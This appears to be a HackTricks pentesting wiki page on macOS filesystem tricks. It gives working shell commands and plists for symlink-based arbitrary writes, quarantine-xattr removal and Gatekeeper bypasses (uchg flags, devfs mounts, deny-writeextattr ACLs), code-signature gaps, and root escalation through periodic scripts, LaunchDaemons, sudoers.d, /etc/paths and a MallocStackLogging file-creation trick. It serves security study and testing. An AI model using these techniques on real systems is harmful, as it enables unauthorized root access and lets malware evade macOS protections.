hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks
2024-03-28 17:29:03 +00:00
..
macos-xattr-acls-extra-stuff.md a 2024-02-08 22:36:35 +01:00
README.md GITBOOK-4286: change request with no subject merged in GitBook 2024-03-28 17:29:03 +00:00

macOS FS Tricks

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

POSIX permissions combinations

Permissions in a directory:

  • read - you can enumerate the directory entries
  • write - you can delete/write files in the directory and you can delete empty folders.
    • But you cannot delete/modify non-empty folders unless you have write permissions over it.
    • You cannot modify the name of a folder unless you own it.
  • execute - you are allowed to traverse the directory - if you dont have this right, you cant access any files inside it, or in any subdirectories.

Dangerous Combinations

How to overwrite a file/folder owned by root, but:

  • One parent directory owner in the path is the user
  • One parent directory owner in the path is a users group with write access
  • A users group has write access to the file

With any of the previous combinations, an attacker could inject a sym/hard link the expected path to obtain a privileged arbitrary write.

Folder root R+X Special case

If there are files in a directory where only root has R+X access, those are not accessible to anyone else. So a vulnerability allowing to move a file readable by a user, that cannot be read because of that restriction, from this folder to a different one, could be abuse to read these files.

Example in: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

If a privileged process is writing data in file that could be controlled by a lower privileged user, or that could be previously created by a lower privileged user. The user could just point it to another file via a Symbolic or Hard link, and the privileged process will write on that file.

Check in the other sections where an attacker could abuse an arbitrary write to escalate privileges.

.fileloc

Files with .fileloc extension can point to other applications or binaries so when they are open, the application/binary will be the one executed.
Example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>URL</key>
    <string>file:///System/Applications/Calculator.app</string>
    <key>URLPrefix</key>
    <integer>0</integer>
</dict>
</plist>

Arbitrary FD

If you can make a process open a file or a folder with high privileges, you can abuse crontab to open a file in /etc/sudoers.d with EDITOR=exploit.py, so the exploit.py will get the FD to the file inside /etc/sudoers and abuse it.

For example: https://youtu.be/f1HA5QhLQ7Y?t=21098

Avoid quarantine xattrs tricks

Remove it

xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable flag

If a file/folder has this immutable attribute it won't be possible to put an xattr on it

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs mount

A devfs mount doesn't support xattr, more info in CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

This ACL prevents from adding xattrs to the file

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDouble file format copies a file including its ACEs.

In the source code it's possible to see that the ACL text representation stored inside the xattr called com.apple.acl.text is going to be set as ACL in the decompressed file. So, if you compressed an application into a zip file with AppleDouble file format with an ACL that prevents other xattrs to be written to it... the quarantine xattr wasn't set into de application:

Check the original report for more information.

To replicate this we first need to get the correct acl string:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note that even if this works the sandbox write the quarantine xattr before)

Not really needed but I leave it there just in case:

{% content-ref url="macos-xattr-acls-extra-stuff.md" %} macos-xattr-acls-extra-stuff.md {% endcontent-ref %}

Bypass Code Signatures

Bundles contains the file _CodeSignature/CodeResources which contains the hash of every single file in the bundle. Note that the hash of CodeResources is also embedded in the executable, so we can't mess with that, either.

However, there are some files whose signature won't be checked, these have the key omit in the plist, like:

<dict>
...
	<key>rules</key>
	<dict>
...
		<key>^Resources/.*\.lproj/locversion.plist$</key>
		<dict>
			<key>omit</key>
			<true/>
			<key>weight</key>
			<real>1100</real>
		</dict>
...
	</dict>
	<key>rules2</key>
...
		<key>^(.*/)?\.DS_Store$</key>
		<dict>
			<key>omit</key>
			<true/>
			<key>weight</key>
			<real>2000</real>
		</dict>
...
		<key>^PkgInfo$</key>
		<dict>
			<key>omit</key>
			<true/>
			<key>weight</key>
			<real>20</real>
		</dict>
...
		<key>^Resources/.*\.lproj/locversion.plist$</key>
		<dict>
			<key>omit</key>
			<true/>
			<key>weight</key>
			<real>1100</real>
		</dict>
...
</dict>

It's possible to calculate the signature of a resource from the cli with:

{% code overflow="wrap" %}

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

{% endcode %}

Mount dmgs

A user can mount a custom dmg created even on top of some existing folders. This is how you could create a custom dmg package with custom content:

{% code overflow="wrap" %}

# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg 

{% endcode %}

Usually macOS mounts disk talking to the com.apple.DiskArbitrarion.diskarbitrariond Mach service (provided by /usr/libexec/diskarbitrationd). If adding the param -d to the LaunchDaemons plist file and restarted, it will store logs it will store logs in /var/log/diskarbitrationd.log.
However, it's possible to use tools like hdik and hdiutil to communicate directly with the com.apple.driver.DiskImages kext.

Arbitrary Writes

Periodic sh scripts

If your script could be interpreted as a shell script you could overwrite the /etc/periodic/daily/999.local shell script that will be triggered every day.

You can fake an execution of this script with: sudo periodic daily

Daemons

Write an arbitrary LaunchDaemon like /Library/LaunchDaemons/xyz.hacktricks.privesc.plist with a plist executing an arbitrary script like:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.sample.Load</string>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Scripts/privesc.sh</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
    </dict>
</plist>

Just generate the script /Applications/Scripts/privesc.sh with the commands you would like to run as root.

Sudoers File

If you have arbitrary write, you could create a file inside the folder /etc/sudoers.d/ granting yourself sudo privileges.

PATH files

The file /etc/paths is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from privileged process is executing some command without the full path, you might be able to hijack it modifying this file.

You can also write files in /etc/paths.d to load new folders into the PATH env variable.

Generate writable files as other users

This will generate a file that belongs to root that is writable by me (code from here). This might also work as privesc:

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: